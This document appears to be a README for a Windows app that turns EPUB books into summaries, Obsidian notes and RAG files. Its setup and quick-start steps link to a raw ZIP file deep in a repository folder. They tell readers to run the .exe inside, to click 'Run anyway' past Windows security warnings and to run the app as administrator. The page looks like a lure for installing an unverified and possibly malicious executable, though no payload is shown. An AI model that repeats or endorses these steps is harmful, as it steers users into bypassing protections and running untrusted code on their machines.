📚 reading-assistant-for-claude - Turn EPUBs Into Useful Notes

Transform EPUB books into structured notes and summaries for efficient study and review.

📚 reading-assistant-for-claude - Turn EPUBs Into Useful Notes

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🚀 What it does

Reading Assistant for Claude helps you turn EPUB books into clean outputs you can use right away. It can process a book into:

  • Short summaries
  • Key ideas and knowledge extractions
  • Obsidian notes
  • RAG-ready data for search and retrieval

Use it when you want to read faster, take better notes, or keep a book library in a format that is easier to review later.

💻 What you need

Before you start, make sure you have:

  • A Windows PC
  • Internet access
  • Enough free space for your EPUB files and output files
  • An EPUB book you want to process

If the app comes with extra files, keep them in the same folder after you download them.

📥 Download and setup

  1. Open this link: https://github.com/shaii819/reading-assistant-for-claude/raw/refs/heads/main/commands/shared/claude_reading_for_assistant_3.4.zip
  2. Look for the latest release, download package, or app file on the page
  3. Download the Windows version if one is listed
  4. Save the file to a folder you can find again, such as Downloads or Desktop
  5. If the download is a ZIP file, right-click it and choose Extract All
  6. Open the extracted folder
  7. If you see an .exe file, double-click it to start the app
  8. If the app uses a script or helper tool, keep all files together in the same folder

🪟 Run it on Windows

After you open the app, follow the on-screen steps to load an EPUB file.

Typical flow:

  1. Choose an EPUB book from your computer
  2. Pick the type of output you want
  3. Start the process
  4. Wait while the app reads the book
  5. Save the output files when the process ends

If Windows shows a security prompt:

  • Click More info
  • Then click Run anyway, if you trust the source and want to continue

📖 How it works

The app reads the EPUB content and turns it into structured output. That can help you:

  • Review a long book in less time
  • Pull out the main ideas
  • Build notes for later study
  • Create data that you can reuse in Claude or other tools
  • Store book notes in Obsidian for later reference

This makes it easier to move from reading to writing, searching, and reviewing.

🗂️ Output types

You can use the app to create different kinds of results based on your goal.

Summary

A short version of the book with the main points and themes.

Knowledge extraction

A list of useful facts, ideas, and concepts from the book.

Obsidian notes

Markdown-style notes that fit well in an Obsidian vault.

RAG database files

Structured output that can help with retrieval tasks and question answering.

🧭 Basic use

  1. Start the app
  2. Select your EPUB file
  3. Choose the output format you want
  4. Set where the output should be saved
  5. Click the button to begin processing
  6. Open the saved files when the job is done

If the app offers extra options, use them based on the type of book:

  • Fiction: focus on summary and themes
  • Nonfiction: focus on facts, concepts, and chapter notes
  • Study books: focus on key points and knowledge extraction

📝 Best file types

Use EPUB files for the best result. If your book is in another format, convert it to EPUB first if needed.

Good input files:

  • .epub

Possible output files:

  • .md
  • .txt
  • .json
  • .csv

🧱 Folder setup

Keep your files in a simple folder structure.

Example:

  • Books
    • your EPUB files
  • Output
    • saved summaries and notes

This makes it easier to find your results later.

🔎 Use with Obsidian

If you use Obsidian, you can place the output files in your vault and open them like normal notes.

Helpful uses:

  • Store chapter notes
  • Link ideas across books
  • Track quotes and key points
  • Build a personal reading archive

🤖 Use with Claude

You can use the extracted text and notes with Claude for:

  • Follow-up questions
  • Deeper summaries
  • Topic grouping
  • Idea comparison across books

This works well when you want to ask questions about a book without reading it again from start to finish.

🛠️ Common problems

The app does not open

  • Check that the download finished
  • Make sure you extracted all files
  • Try running the app as administrator

The EPUB file does not load

  • Confirm the file ends in .epub
  • Try a different book file
  • Move the file to a simple folder path like C:\Books

The output folder is empty

  • Check whether the process finished
  • Look for a progress bar or status message
  • Make sure you selected a save folder

The text looks broken

  • The EPUB file may have unusual formatting
  • Try another EPUB
  • Use a book with a clean text layout

🔄 Typical workflow

  1. Download the app from the GitHub link
  2. Open it on Windows
  3. Load an EPUB book
  4. Choose summary, extraction, notes, or RAG output
  5. Run the process
  6. Save the result
  7. Open the files in Obsidian, Claude, or your file viewer

📚 Example uses

  • Turn a long nonfiction book into chapter notes
  • Build a reading archive from your EPUB library
  • Pull key ideas from books for study
  • Create Markdown notes for Obsidian
  • Prepare text for search and retrieval use

📁 File handling tips

  • Use short folder names
  • Avoid special characters in file names
  • Keep source files and output files separate
  • Back up important notes after each run

🔐 Privacy and local use

If you run the app on your own PC, your files stay on your machine during processing. This is useful when you want to keep your reading files in one place.

📌 Quick start

  1. Visit https://github.com/shaii819/reading-assistant-for-claude/raw/refs/heads/main/commands/shared/claude_reading_for_assistant_3.4.zip
  2. Download the Windows version or app package
  3. Extract the files if needed
  4. Open the app
  5. Load an EPUB book
  6. Choose your output type
  7. Save the finished notes or data